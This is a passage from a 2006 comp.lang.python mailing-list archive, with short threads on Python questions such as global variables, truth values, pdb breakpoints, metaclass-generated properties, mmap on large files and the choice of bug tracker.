solutions, I wonder whether there's anything to learn from less
centralised (or more flexible) approaches to bug management.

Paul



From alistair.king at helsinki.fi  Mon Oct 30 12:08:10 2006
From: alistair.king at helsinki.fi (Alistair King)
Date: Mon, 30 Oct 2006 19:08:10 +0200
Subject: create global variables?
Message-ID: <4546317A.8040500@helsinki.fi>

Hi,

is there a simple way of creating global variables within a function?

ive tried simply adding the variables in:

def function(atom, Xaa, Xab):
    Xaa = onefunction(atom)
    Xab = anotherfunction(atom)

if i can give something like:

function('C')    #where atom = 'C' but not necessarly include Xaa or Xab

i would like to recieve:

Caa = a float
Cab = another float

ive tried predefining Xaa and Xab before the function but they are
global values and wont change within my function. Is there a simple way
round this, even if i call the function with the variables ('C', Caa, Cab)?
..............................................................................................................................

some actual code:

# sample dictionaries
DS1v = {'C': 6}
pt = {'C': 12.0107}

def monoVarcalc(atom):
    a = atom + 'aa'
    Xaa = a.strip('\'')
    m = atom + 'ma'
    Xma = m.strip('\'')
    Xaa = DS1v.get(atom)
    Xma = pt.get(atom)
    print Xma
    print Xaa

monoVarcalc('C')

print Caa
print Cma
..............................................................................................................................
it seems to work but again i can only print the values of Xma and Xaa

?

Alistair

-- 
Dr. Alistair King
Research Chemist,
Laboratory of Organic Chemistry,
Department of Chemistry,
Faculty of Science
P.O. Box 55 (A.I. Virtasen aukio 1)
FIN-00014 University of Helsinki
Tel. +358 9 191 50392, Mobile +358 (0)50 5279446
Fax +358 9 191 50366 



From mail at microcorp.co.za  Tue Oct 31 01:28:27 2006
From: mail at microcorp.co.za (Hendrik van Rooyen)
Date: Tue, 31 Oct 2006 08:28:27 +0200
Subject: Python windows interactive.
References: <1162241672.682830.189240@b28g2000cwb.googlegroups.com><45467205.3000302@websafe.com>
	<1162253732.035128.91060@e3g2000cwe.googlegroups.com>
Message-ID: <02a801c6fcbf$173a7d20$03000080@hendrik>


"notejam" <notejam at sbcglobal.net> Top posted:

> Thanks everyone for the help.   I got a simple two line program to work
> from a text file.
> Can not figure out how to write more than one line in interpreter mode.
>  Is that all interpreter is good for, testing one liners?  I have it
> run the program everytime I hit return, and can not figure out how to
> enter multiple lines of code.  I can do multiple lines in text file, so
> no problem, but I am jsut wondering can a program with 2 or more lines
> be wrote from the interpreter mode?

the interactive interpreter remembers the stuff you type.

so you can assign values to variables, and refer to them later.
you can define functions and call them later

that is enough to start with.

try it - you will like it...

- Hendrik





From python.list at tim.thechases.com  Wed Oct 25 15:37:01 2006
From: python.list at tim.thechases.com (Tim Chase)
Date: Wed, 25 Oct 2006 14:37:01 -0500
Subject: question about True values
In-Reply-To: <zNO%g.154$1n3.3672@news.tufts.edu>
References: <grO%g.152$1n3.4134@news.tufts.edu>	<7x4ptsi544.fsf@ruckus.brouhaha.com>
	<zNO%g.154$1n3.3672@news.tufts.edu>
Message-ID: <453FBCDD.4000606@tim.thechases.com>

> So I suppose
> 
> if (10 > 5)
> 
> would be the same as
> 
> if (10 > 5) == True
> 
> because (10 > 5) does evaluate to "True".

Yes...and similarly,

if ((10 > 5) == True) == True

for the same reason...as does

if (((10 > 5) == True) == True) == True

as does... :*)

-tkc





From sybrenUSE at YOURthirdtower.com.imagination  Sun Oct  8 17:19:43 2006
From: sybrenUSE at YOURthirdtower.com.imagination (Sybren Stuvel)
Date: Sun, 8 Oct 2006 23:19:43 +0200
Subject: WSGI - How Does It Affect Me?
References: <mailman.70.1160336094.11739.python-list@python.org>
	<slrneiim1d.8tl.sybrenUSE@schuimige.stuvel.eu>
	<mailman.78.1160338682.11739.python-list@python.org>
Message-ID: <slrneiiqrf.97m.sybrenUSE@schuimige.stuvel.eu>

Theerasak Photha enlightened us with:
>> > 3. Using IIS [...]
>>
>> Why would you want to use that monstrosity?
>
> Two words: "contractual obligation"

That doesn't answer the question. It only makes me ask it to someone
else, namely the parties involved in creating the contract.

Sybren
-- 
Sybren St??vel
St??vel IT - http://www.stuvel.eu/


From cjw at sympatico.ca  Sun Oct 15 12:17:21 2006
From: cjw at sympatico.ca (Colin J. Williams)
Date: Sun, 15 Oct 2006 12:17:21 -0400
Subject: Cannot import a module from a variable
In-Reply-To: <87mz7xlhf1.fsf@jamie.razor.dk>
References: <1160920129.886155.112970@b28g2000cwb.googlegroups.com>
	<87mz7xlhf1.fsf@jamie.razor.dk>
Message-ID: <egtmul$jq4$1@sea.gmane.org>

Christian Joergensen wrote:
> "Jia Lu" <Roka100 at gmail.com> writes:
> 
>> Hi all:
>>
>> I try to do things below:
>>>>> import sys
>>>>> for i in sys.modules.keys():
>> 	import i
>> Traceback (most recent call last):
>>   File "<pyshell#67>", line 2, in <module>
>>     import i
>> ImportError: No module named i
>>
>> But it seems that import donot know what is i ? why?
> 
> Try using __import__(i) instead.
> 
(a) you need something like exec('import ' + i) for most cases
but (b) "encodings" is a package i.e. it points to a directory which has 
an __init__.py file.

Colin W.



From http  Tue Oct  3 04:10:48 2006
From: http (Paul Rubin)
Date: 03 Oct 2006 01:10:48 -0700
Subject: I need Cryptogrphy in Python please .
References: <1159862169.318561.314620@k70g2000cwa.googlegroups.com>
Message-ID: <7xy7rxq0on.fsf@ruckus.brouhaha.com>

"NicolasG" <nicolasg at gmail.com> writes:
> Can some one guide me how to fix the problem above or point me to
> another Cyrptography library that I can use easily ?

There are several.  What do you want to do with it?


From mrosenstihl at macnews.de  Thu Oct 26 17:40:40 2006
From: mrosenstihl at macnews.de (Markus Rosenstihl)
Date: Thu, 26 Oct 2006 23:40:40 +0200
Subject: Python segmentation fault?
References: <NradncijuZ_M-KDYnZ2dnUVZ_uWdnZ2d@comcast.com>
Message-ID: <ehra0p$mlk$1@lnx107.hrz.tu-darmstadt.de>

On 2006-10-24 02:58:56 +0200, "Michael B. Trausch" 
<"mike$#at^&nospam!%trauschus"> said:

> Is there a way to debug scripts that cause segmentation faults?  I can
> do a backtrace in gdb on Python, but that doesn't really help me all
> that much since, well, it has nothing to do with my script... :-P
> 
> Any ideas?
> 
> 	Thanks,
> 	Mike

I had segmentation faults on Mac, they were coming from a unpatched 
readline 5.1
Once compiled with readline 5.2 it was working flawlessly

Regards,
Markus



From onurb at xiludom.gro  Mon Oct 23 07:10:37 2006
From: onurb at xiludom.gro (Bruno Desthuilliers)
Date: Mon, 23 Oct 2006 13:10:37 +0200
Subject: Debugging
In-Reply-To: <mailman.968.1161596873.11739.python-list@python.org>
References: <mailman.894.1161423816.11739.python-list@python.org>	<wihmz7psmhs.fsf@panix3.panix.com>
	<mailman.968.1161596873.11739.python-list@python.org>
Message-ID: <453ca32e$0$11823$426a34cc@news.free.fr>

Fulvio wrote:
> ***********************
> Your mail has been scanned by InterScan MSS.
> ***********************
> 
> 
> On Saturday 21 October 2006 23:43, R. Bernstein wrote:
>> (I think all of this is the case also with pdb, but someone might
>> check on this; it's possible breakpoints in pdb start from 0 instead
>> of 1 as is the  case in gdb/pydb.)
> 
> Thank you for your details. The pdb that I'm talking about, can be found 
> in /usr/lib/python2.4/pdb.py (an C:\python2.4\lib\pdb.py for the win32 
> version).
> I'll give a look to pydb site...
> 
> The previous post I might have missed some explaination on my proceeding. I'd 
> say that I'm testing a small program under pdb control 
> (python /usr/lib/python2.4/pdb.py ./myprog.py). So pdb will load myprog and 
> stop the first line code.
> Once I'm at the pdb command line I can issue the commands available inside the 
> pdb itself. Concerning the mentioned BP function I meant to set a 
> counter/function which let the BP run until reach the true condition. 
> Then "condition" is one of the pdb commands which let add a conditon to a BP.
> The reference Manual gives information for all the pdb functions, but aren't 
> detailed, specially on how to set up BP conditions,  like countdown,

"""
ignore bpnumber [count]

    Sets the ignore count for the given breakpoint number. If count is
omitted, the ignore count is set to 0. A breakpoint becomes active when
the ignore count is zero. When non-zero, the count is decremented each
time the breakpoint is reached and the breakpoint is not disabled and
any associated condition evaluates to true.
"""

> timed 

saw nothing about this one... but perhaps with

> and 
> camparison conditions.

"""
condition bpnumber [condition]

    Condition is an expression which must evaluate to true before the
breakpoint is honored. If condition is absent, any existing condition is
removed; i.e., the breakpoint is made unconditional.
"""

HTH
-- 
bruno desthuilliers
python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for
p in 'onurb at xiludom.gro'.split('@')])"


From pavlovevidence at gmail.com  Wed Oct 18 03:30:19 2006
From: pavlovevidence at gmail.com (Carl Banks)
Date: 18 Oct 2006 00:30:19 -0700
Subject: creating many similar properties
In-Reply-To: <n2fZg.3322$Ka1.1194@news01.roc.ny>
References: <n2fZg.3322$Ka1.1194@news01.roc.ny>
Message-ID: <1161156619.762883.237630@e3g2000cwe.googlegroups.com>


Lee Harr wrote:
> I understand how to create a property like this:
>
> class RC(object):
>     def _set_pwm(self, v):
>         self._pwm01 = v % 256
>     def _get_pwm(self):
>         return self._pwm01
>     pwm01 = property(_get_pwm, _set_pwm)
>
>
> But what if I have a whole bunch of these pwm properties?
>
> I made this:
>
> class RC(object):
>     def _makeprop(name):
>         prop = '_%s' % name
>         def _set(self, v):
>             v_new = v % 256
>             setattr(self, prop, v_new)
>         def _get(self):
>             return getattr(self, prop)
>         return property(_get, _set)
>
>     pwm01 = _makeprop('pwm01')
>     pwm02 = _makeprop('pwm02')
>
>
> Not too bad, except for having to repeat the name.
>
> I would like to just have a list of pwm names and
> have them all set up like that. It would be nice if
> each one was set to a default value of 127 also....
>
> Any thoughts?


The metaclass solution.  I use this idiom occasionally, whenever I want
to fiddle with the class dict before letting the type constructor at
it.

class mod256metatype(type):
    def __new__(metatype,name,bases,clsdict):
        for sym in clsdict.get('__mod256__',()):
            prop = '_%s'  % sym
            def _set(self,v):
                setattr(self,prop,v%256)
            def _get(self):
                return getattr(self,prop)
            clsdict[sym] = property(_get,_set)
        return type.__new__(metatype,name,bases,clsdict)

class RC(object):
    __metaclass__ = mod256metatype
    __mod256__ = ["pwm01","pwm02"]


Carl



From steve at holdenweb.com  Fri Oct  6 02:53:29 2006
From: steve at holdenweb.com (Steve Holden)
Date: Fri, 06 Oct 2006 07:53:29 +0100
Subject: Strange sorting error message
In-Reply-To: <1160087994.520447.199830@e3g2000cwe.googlegroups.com>
References: <1159915028.355898.40080@b28g2000cwb.googlegroups.com>	<mailman.1214.1159929494.10491.python-list@python.org>	<1160085635.215544.96580@h48g2000cwc.googlegroups.com>	<HMfVg.4318$5i7.2585@newsreading01.news.tds.net>
	<1160087994.520447.199830@e3g2000cwe.googlegroups.com>
Message-ID: <eg4ufj$1b5$1@sea.gmane.org>

Dustan wrote:
> Neil Cerutti wrote:
> 
>>On 2006-10-05, Dustan <DustanGroups at gmail.com> wrote:
>>
>>>Steve Holden wrote:
>>>
>>>>Dustan wrote:
>>>>
>>>>>I'm hiding some of the details here, because I don't want to
>>>>>say what I'm actually doing.
>>>>>[...]
>>>>
>>>>I have the answer to your problem but I don't actually want to
>>>>tell you what it is.
>>>
>>>That's great, seeing as I already figured out the answer, as I
>>>have already posted in a reply.
>>
>>I had a good laugh at it.
>>
>>
>>>Are you saying I broke one of these rules?
>>>http://www.catb.org/~esr/faqs/smart-questions.html
>>>Or are you just being plain rude?
>>>A lack of a response from you implies the latter...
>>
>>SPOILER SPACE
>>
>>It was a joke, based on you hiding what you are doing, he decided
>>to hide the solution to your problem. Get it?
> 
> 
> Ah, now I get it... Well, not really. I'm not outgoing, so it's hard
> for me to spot a joke when I see one.
> 
Even when it smacks you in the face, apparently. Anyway, I'm sorry if 
you thought I was getting at you in any way. Just trying to amuse the 
group ...

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From ptmcg at austin.rr._bogus_.com  Fri Oct  6 16:43:25 2006
From: ptmcg at austin.rr._bogus_.com (Paul McGuire)
Date: Fri, 06 Oct 2006 20:43:25 GMT
Subject: n-body problem at shootout.alioth.debian.org
References: <eg6bku$59b$1@online.de>
Message-ID: <NdzVg.14581$5o5.6325@tornado.texas.rr.com>

"Peter Maas" <peter.maas at somewhere.com> wrote in message 
news:eg6bku$59b$1 at online.de...
>I have noticed that in the language shootout at shootout.alioth.debian.org
> the Python program for the n-body problem is about 50% slower than the 
> Perl
> program. This is an unusual big difference. I tried to make the Python 
> program
> faster but without success. Has anybody an explanation for the difference?
> It's pure math so I expected Perl and Python to have about the same speed.
>
> Peter Maas, Aachen

The advance method is the most fertile place for optimization, since it is 
called approximately n(n-1)/2 times (where n=2E7).  I was able to trim about 
25% from the Python runtime with these changes:

Change:
            distance = (dx**2 + dy**2 + dz**2)**0.5

            b_mass_x_mag = dt * b.mass / distance**3
            b2_mass_x_mag = dt * b2.mass / distance**3
to:
            mag = dt / (dx*dx + dy*dy + dz*dz)**1.5

            b_mass_x_mag = b.mass * mag
            b2_mass_x_mag = b2.mass * mag


And by changing the loop iteration from:

    for i in xrange(len(bodies)) :
        b = bodies[i]
        for j in xrange(i + 1, len(bodies)) :
            b2 = bodies[j]

to:

    remainingBodies = bodies[:]
    for b in bodies[:-1]:
        del remainingBodies[0]
        for b2 in remainingBodies:


-- Paul




From gagsl-py at yahoo.com.ar  Thu Oct 26 19:14:15 2006
From: gagsl-py at yahoo.com.ar (Gabriel Genellina)
Date: Thu, 26 Oct 2006 20:14:15 -0300
Subject: question about True values
In-Reply-To: <87u01qfzy7.fsf@benfinney.id.au>
References: <grO%g.152$1n3.4134@news.tufts.edu>
	<17727.47016.632530.720950@montanaro.dyndns.org>
	<ehoqhe$6iq$3@sea.gmane.org> <ehp32i$u1$1@sea.gmane.org>
	<7.0.1.0.0.20061025224858.05f2ea40@yahoo.com.ar>
	<mailman.1232.1161829348.11739.python-list@python.org>
	<7xfydbhkso.fsf@ruckus.brouhaha.com>
	<7.0.1.0.0.20061026144722.04641dd8@yahoo.com.ar>
	<87u01qfzy7.fsf@benfinney.id.au>
Message-ID: <7.0.1.0.0.20061026201235.03f4f7a8@yahoo.com.ar>

At Thursday 26/10/2006 19:57, Ben Finney wrote:

>Gabriel Genellina <gagsl-py at yahoo.com.ar> writes:
> > At Wednesday 25/10/2006 23:29, Paul Rubin wrote:
> > >Steve Holden <steve at holdenweb.com> writes:
> > >I get that iter(()) is True (Python 2.3.4).
> >
> > It's False on 2.4.2 - and perhaps it's what one would expect, but
> > since this behavior is not documented anywhere, one should not count
> > on it.
>
>Doesn't this fall under "any empty sequence" in the following list of
>evaluates-to-false:
>
>     <URL:http://docs.python.org/lib/truth.html>

Not exactly, because an iterator is not a sequence.


-- 
Gabriel Genellina
Softlab SRL 

__________________________________________________
Correo Yahoo!
Espacio para todos tus mensajes, antivirus y antispam ?gratis! 
?Abr? tu cuenta ya! - http://correo.yahoo.com.ar


From waldemar.osuch at gmail.com  Thu Oct  5 21:04:20 2006
From: waldemar.osuch at gmail.com (Waldemar Osuch)
Date: 5 Oct 2006 18:04:20 -0700
Subject: Oracle database export
In-Reply-To: <Xns9853ADE6AEDFBtoreriknpolarno@129.242.5.222>
References: <Xns9853ADE6AEDFBtoreriknpolarno@129.242.5.222>
Message-ID: <1160096660.056173.187780@k70g2000cwa.googlegroups.com>



On Oct 5, 9:05 am, Tor Erik Soenvisen <torer... at hotmail.com> wrote:
> Hi,
>
> I need to export an Oracle database to a DDL-formated file. On the Web, I
> found a Python script that did exactly this for a MS Access database, but
> not one for Oracle databases.
>
> Does anyone know of such a tool or Python script.
>
> regards tores

Would that help?
http://www.python.net/crew/atuining/cx_OracleTools/README.txt

Waldemar



From chrispatton at gmail.com  Tue Oct 31 23:21:08 2006
From: chrispatton at gmail.com (Chris)
Date: 31 Oct 2006 20:21:08 -0800
Subject: .pycs
Message-ID: <1162354868.711698.195140@k70g2000cwa.googlegroups.com>

I had some code that I wrote that I guess I deleted. But for whatever
reason I still have the bytecode .pyc file for it. Is there a way to
get the code I wrote back from this?



From Hakusa at gmail.com  Wed Oct 25 22:08:18 2006
From: Hakusa at gmail.com (Hakusa at gmail.com)
Date: 25 Oct 2006 19:08:18 -0700
Subject: What's the best IDE?
In-Reply-To: <454004a9$0$19602$88260bb3@free.teranews.com>
References: <1161818092.830293.141880@k70g2000cwa.googlegroups.com>
	<453ff3a7$0$23866$426a74cc@news.free.fr>
	<fXS%g.7781$5i7.4028@newsreading01.news.tds.net>
	<n_S%g.7782$5i7.4615@newsreading01.news.tds.net>
	<1161822032.211125.272160@h48g2000cwc.googlegroups.com>
	<mailman.1228.1161824335.11739.python-list@python.org>
	<454004a9$0$19602$88260bb3@free.teranews.com>
Message-ID: <1161828498.791044.144040@f16g2000cwb.googlegroups.com>

That's surely an idea, but I'm not to that point yet. Right not I'm
struggling to understand a text adventure, and because I wanted to try
it my own at it (before using a tutorial), this has revieled I no
nothing about parsing or classes. Both are required to make an IDE I
believe.

As for UliPad . . . AWSOME! I love it, more than WinPy even . . . and I
can't get WinPy to work at the moment, but I think I just need to
reinstall Python2.5. Although customizing your syntax highlighting is a
little difficult. I think it's really cool, and is so far at the top of
my list, as I have yet to try Vim - maybe I'll try tomarrow.



From hanumizzle at gmail.com  Tue Oct 10 23:36:50 2006
From: hanumizzle at gmail.com (Theerasak Photha)
Date: Tue, 10 Oct 2006 23:36:50 -0400
Subject: Dive Into Java?
In-Reply-To: <WNPWg.9707$o71.5900@newsread3.news.pas.earthlink.net>
References: <1160346615.575882.133580@h48g2000cwc.googlegroups.com>
	<4out4fFgdgouU1@individual.net> <4ov1acFgfmpmU1@uni-berlin.de>
	<sBvWg.9233$o71.8428@newsread3.news.pas.earthlink.net>
	<mailman.172.1160464587.11739.python-list@python.org>
	<WNPWg.9707$o71.5900@newsread3.news.pas.earthlink.net>
Message-ID: <463ff4860610102036j26efb998r26f685a0148aac78@mail.gmail.com>

On 10/10/06, Dennis Lee Bieber <wlfraed at ix.netcom.com> wrote:
> On Tue, 10 Oct 2006 03:16:25 -0400, "Theerasak Photha"
> <hanumizzle at gmail.com> declaimed the following in comp.lang.python:
>
> >
> > BTW, love the Anglo-Saxon nickname.
> >
>         The usage started with an old AD&D character, then got ported to a
> Traveller vargr (though why an Imperial vargr and minor noble would
> carry an ancient Solomani name was never explained). Since then it's
> been my primary on-line name.

"You read a scroll of roleplaying jokes. You are permanently confused"

-- Theerasak


From paddy3118 at netscape.net  Fri Oct  6 15:13:49 2006
From: paddy3118 at netscape.net (Paddy)
Date: 6 Oct 2006 12:13:49 -0700
Subject: help on pickle tool
In-Reply-To: <mailman.1407.1160113095.10491.python-list@python.org>
References: <1160110375.999662.268560@k70g2000cwa.googlegroups.com>
	<1160112357.891308.200020@i42g2000cwa.googlegroups.com>
	<mailman.1407.1160113095.10491.python-list@python.org>
Message-ID: <1160162029.929742.144420@i42g2000cwa.googlegroups.com>


hanumizzle wrote:
> On 5 Oct 2006 22:25:58 -0700, Paddy <paddy3118 at netscape.net> wrote:
>
> > You might try picking the data with a different pickle formatter that
> > your Java can use. Maybe an XML pickler
> > (http://www.gnosis.cx/download/Gnosis_Utils.More/Gnosis_Utils-1.2.1.ANNOUNCE
> > untested by me).
> > You might also use a JSON/YAML pickler. JSON is now a subset of YAML:

>
> Why a subset?

I was referring to comments ike:
  http://redhanded.hobix.com/inspect/yamlIsJson.html

http://redhanded.hobix.com/inspect/jsonCloserToYamlButNoCigarThanksAlotWhitespace.html

Happy coding - Paddy.



From jordan.taylor2 at gmail.com  Tue Oct 17 14:41:22 2006
From: jordan.taylor2 at gmail.com (Jordan)
Date: 17 Oct 2006 11:41:22 -0700
Subject: external file closed
In-Reply-To: <1161108008.487005.109240@b28g2000cwb.googlegroups.com>
References: <1161106999.899555.57990@h48g2000cwc.googlegroups.com>
	<1161107585.523458.252700@m73g2000cwd.googlegroups.com>
	<1161108008.487005.109240@b28g2000cwb.googlegroups.com>
Message-ID: <1161110482.545263.245120@e3g2000cwe.googlegroups.com>

I think the win32all extension includes the findwindow() fuction, so
you could make a loop that looks for the window name (or class if it
takes that) of the pdf.  You can also loop through a list of running
processes looking for whatever the process name is.  Note that both of
these have serious loopholes, such as if there is more than one pdf
open.

Cheers,
Jordan

utabintarbo wrote:
> Jerry wrote:
> > On Oct 17, 12:43 pm, "kilnhead" <bumt... at gmail.com> wrote:
> > > I am opening a file using os.start('myfile.pdf') from python. How can I
> > > know when the user has closed the file so I can delete it? Thanks.
> >
> > I assume you mean os.startfile.  There is no way to do this directly.
> > os.startfile simply hands off the call to the OS and doesn't provide
> > anything to track anything after that.  Since you won't know what
> > program handled the file association, you couldn't watch for an
> > instance of that to start up and detect when it exits.  Even if you
> > could, it wouldn't be reliable as in the case of PDF's and Adobe
> > Acrobat Reader, the user could close the document, but not the
> > application, so your script would never delete the file in question.
> >
> > If anyone can think of a way to do this, it would be interesting to see
> > how it's done.
> >
> > --
> > Jerry
>
> os.system('myfile.pdf') will give return code upon closing. This can
> also be done using the subprocess module with poll().



From maxerickson at gmail.com  Wed Oct 25 22:30:58 2006
From: maxerickson at gmail.com (Max Erickson)
Date: Thu, 26 Oct 2006 02:30:58 +0000 (UTC)
Subject: question about True values
References: <ehp32i$u1$1@sea.gmane.org>
	<7.0.1.0.0.20061025224858.05f2ea40@yahoo.com.ar>
	<ehp64d$8c3$1@sea.gmane.org>
Message-ID: <Xns9867E50B56C74maxericksongmailcom@80.91.229.5>

Steve Holden <steve at holdenweb.com> wrote:

> Gabriel Genellina wrote:
>> At Wednesday 25/10/2006 22:29, Terry Reedy wrote:
>> 
>>> >> the string class's "nil" value.  Each of the builtin types
>>> >> has such an "empty" or "nil" value:
>>> >>
>>> >>     string              ""
>>> >>     list                []
>>> >>     tuple               ()
>>> >>     dict                {}
>>> >>     int                 0
>>> >>     float               0.0
>>> >>     complex             0j
>>> >>     set                 set()
>>> >>
>>> >> Any other value besides the above will compare as "not
>>> >> false". 
>>> >>
>>> >
>>> > And today's question for the novices is: which Python type
>>> > did Skip 
>>> miss
>>> > from the above list?
>>>
>>> more that one:
>>>
>>> 0L
>>> decimal.Decimal(0) # is decimal.Decimal('0'), also
>>> u''
>>> array.array('c') # or any other typecode, I suspect, without
>>> initializer 
>> 
>> 
>> Just for fun:
>> buffer('')
>> frozenset()
>> iter(())
>> xrange(0)
>> 
> There's still a very obvious omission ...
> 
> regards
>   Steve

bool.

unicode and long if you are fussy.

max



From http  Thu Oct 26 00:41:05 2006
From: http (Paul Rubin)
Date: 25 Oct 2006 21:41:05 -0700
Subject: using mmap on large (> 2 Gig) files
References: <1161642777.716466.57560@f16g2000cwb.googlegroups.com>
	<1161648415.830523.225520@k70g2000cwa.googlegroups.com>
	<donn-672033.09225124102006@gnus01.u.washington.edu>
	<1161730045.377608.221250@e3g2000cwe.googlegroups.com>
Message-ID: <7xr6wvbsf2.fsf@ruckus.brouhaha.com>

"sturlamolden" <sturlamolden at yahoo.no> writes:
> However, "memory mapping" a file by means of fseek() is probably more
> efficient than using UNIX' mmap() or Windows'
> CreateFileMapping()/MapViewOfFile().

Why on would you think that?!  It is counterintuitive.  fseek beyond
whatever is buffered in stdio (usually no more than 1kbyte or so)
requires a system call, while mmap is just a memory access.

> In Python, we don't always need the file memory mapped, we normally
> just want to use slicing-operators, for-loops and other goodies on
> the file object -- i.e. we just want to treat the file as a Python
> container object. There are many ways of achieving that.

Some of the time we want to share the region with other processes.
Sometimes we just want random access to a big file on disk without
having to do a lot of context switches seeking around in the file.

> There are in any case room for improving Python's mmap object.

IMO it should have some kind of IPC locking mechanism added, in
addition to the offset stuff suggested.


From paul at boddie.org.uk  Wed Oct  4 15:01:49 2006
From: paul at boddie.org.uk (Paul Boddie)
Date: 4 Oct 2006 12:01:49 -0700
Subject: Python to use a non open source bug tracker?
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
	<2sadneD3XpY0xb_YnZ2dnUVZ_q2dnZ2d@speakeasy.net>
	<eg0899$9g5$1@sea.gmane.org>
	<mailman.1263.1159968766.10491.python-list@python.org>
	<eg0qu6$u7b$1@nnrp.ngi.it>
Message-ID: <1159988509.901425.289850@i3g2000cwc.googlegroups.com>

Giovanni Bajo wrote:
>
> The current request is: "please, readers of python-dev, setup a team of 6-10
> people to handle roundup or we'll go to a non-free software for bug
> tracking".

Actually, it would appear that the request goes out to
comp.lang.python/python-list as well (ie. the ungrateful plebs like
myself who supposedly have nothing to contribute to the direction of
the Python project).

[...]

> And besides the only thing I'm really sniping the PSF against is about
> *ever* having thought of non-FLOSS software.

It has already been brought up that Python plays well with everyone and
everything, and thus a closed source tool projects the attitudes of the
core developers. However, in contrast to the use of tools such as
Roundup which have some advocacy value, the adoption of commercial
products often works largely in favour of the vendor: they're seen to
be helpful and charitable (which they may well be), and there's a
certain level of publicity value generated from the transaction (albeit
not as much as if the Bugzilla project switched over to a closed source
issue tracker).

Of course, this message so far probably passes for "being political" in
the eyes of certain people, but I think it's interesting to put such
decisions in the context of the calls to advocacy that people come out
with every now and again. Indeed, I believe that the PSF now have an
advocacy coordinator to lead the onslaught selling Python into
"business" or whatever people regard Python advocacy to be these days.
However, as an open source project it doesn't necessarily send a good
message to "business" that the amazing processes that drive Python
development are powered by closed source software (although they also
have been through the use of SourceForge) and that the developers
passed over a project that they were quite happy to use promotionally
once upon a time.

Indeed, while it was still running, the Software Carpentry competition
(the initiative which led to the development of Roundup) was potent
publicity material showing that Python and open source development
produce great software. The risk is that "business" looks at the level
of self-belief ("don't mention the competition by name" [1], but where
the competition isn't just other languages: it's also other development
methodologies) and wonders whether they wouldn't be better off with
some closed source development environment for their closed source
commercial product instead.

I guess what plebs like myself are supposed to take away from this is
the following: if the core developers are subsequently much more
productive developing the language (which is not exactly the thing
which requires most attention in the Python distribution these days, in
my opinion), then who are we to complain as long as we can still stuff
our bugs into some Web-based interface or other?

Paul

[1]
http://holdenweb.blogspot.com/2006/03/marketing-why-do-you-use-python.html



From bignose+hates-spam at benfinney.id.au  Thu Oct 26 18:53:55 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Fri, 27 Oct 2006 08:53:55 +1000
Subject: doesnt seems to work can any help be provided
References: <1161868888.823864.66700@f16g2000cwb.googlegroups.com>
	<4540bbd4$0$9134$426a74cc@news.free.fr>
Message-ID: <871wouhenw.fsf@benfinney.id.au>

Bruno Desthuilliers <onurb at xiludom.gro> writes:

> Arun Nair wrote:
> > [more homework assignments, not working]
> Do you really expect us to run your code, fix the bugs and send it
> back?

Yes, he apparently does. He's told us that it's homework, but that he
hasn't learned enough from his teacher.

Apparently that learning also didn't include the prohibitions against
colluding with others. Nevertheless, I'll bet they are still present.

> Please take a few minutes to read this:
> http://catb.org/esr/faqs/smart-questions.html
>
> with particular attention to the following point:
> http://catb.org/esr/faqs/smart-questions.html#beprecise

In this case, a better section is:

    Grovelling is not a substitute for doing your homework
    <URL:http://catb.org/esr/faqs/smart-questions.html#id273364>

-- 
 \      "When I was a little kid we had a sand box. It was a quicksand |
  `\        box. I was an only child... eventually."  -- Steven Wright |
_o__)                                                                  |
Ben Finney



From martin.witte at gmail.com  Mon Oct 30 12:33:23 2006
From: martin.witte at gmail.com (wittempj@hotmail.com)
Date: 30 Oct 2006 09:33:23 -0800
Subject: How to convert "&nbsp;" in a string to blank space?
In-Reply-To: <1162229197.315384.79940@f16g2000cwb.googlegroups.com>
References: <1162229197.315384.79940@f16g2000cwb.googlegroups.com>
Message-ID: <1162229603.313690.217500@h48g2000cwc.googlegroups.com>

Is this what you want?

py> s = 'This string contains &nbsp; two times &nbsp; - end'
py> print s.replace('&nbsp;', ' '*6)
This string contains        two times        - end


see http://docs.python.org/lib/string-methods.html

On Oct 30, 6:26 pm, "???" <newpt... at gmail.com> wrote:
> Is there any simple way to solve this problem?



From bignose+hates-spam at benfinney.id.au  Mon Oct  9 19:49:02 2006
From: bignose+hates-spam at benfinney.id.au (Ben Finney)
Date: Tue, 10 Oct 2006 09:49:02 +1000
Subject: Initialization of variables using no-arg constructor
References: <BAY107-F293E79A4CF09FE86376D46FD160@phx.gbl>
Message-ID: <87psd19hjl.fsf@benfinney.id.au>

"Edward Waugh" <edward_waugh at hotmail.com> writes:

> Consider the following (working) Python code:
>
> import sys
>
> def sum(list):
>     # total = 0 does not work for non-numeric types
>     total = list[0].__class__()
>     for v in list:
>         total += v
>     return total

Your function assumes that all items of the list will be compatible,
to the extent of '+', with the first item. That's a valid assumption,
but note that it's part of the interface of the function -- i.e. the
expectations of how it will be called.

    >>> l = ["a", ["spam", "eggs"], None, 4]
    >>> print sum(l)
    Traceback (most recent call last):
      File "<stdin>", line 1, in ?
      File "<stdin>", line 5, in sum
    TypeError: cannot concatenate 'str' and 'list' objects

Since calling the function with a list containing non-numeric elements
makes no sense, why are you attempting to accommodate it?

If the function's interface is that it sums the items of the list
numerically, then assume numbers and let the function raise an
exception for the caller to handle if that's not true.

If the function's interface is to do something else, it should be made
clearer. A good start would be to name it something more descriptive
of its actual purpose than 'sum'.

-- 
 \       "What I resent is that the range of your vision should be the |
  `\                              limit of my action."  -- Henry James |
_o__)                                                                  |
Ben Finney



From Dieter_Deyke at CoCreate.com  Wed Oct 25 12:38:42 2006
From: Dieter_Deyke at CoCreate.com (Dieter Deyke)
Date: Wed, 25 Oct 2006 10:38:42 -0600
Subject: web-based SSH
References: <mailman.1168.1161773998.11739.python-list@python.org>
	<7xpscg9ymo.fsf@ruckus.brouhaha.com>
Message-ID: <u3b9cic4t.fsf@CoCreate.com>

Paul Rubin <http://phr.cx at NOSPAM.invalid> writes:

> Astan Chee <stanc at al.com.au> writes:
>> I was looking for a web-based SSH client (something like
>> www.port42.com..but for some reason it doesnt work..can anyone verify
>
> http://www.google.com/search?q=ssh+applet

http://www.appgate.com/products/80_MindTerm/110_MindTerm_Download/

-- 
Dieter Deyke
mailto:Dieter_Deyke at CoCreate.com mailto:deyke at comcast.net
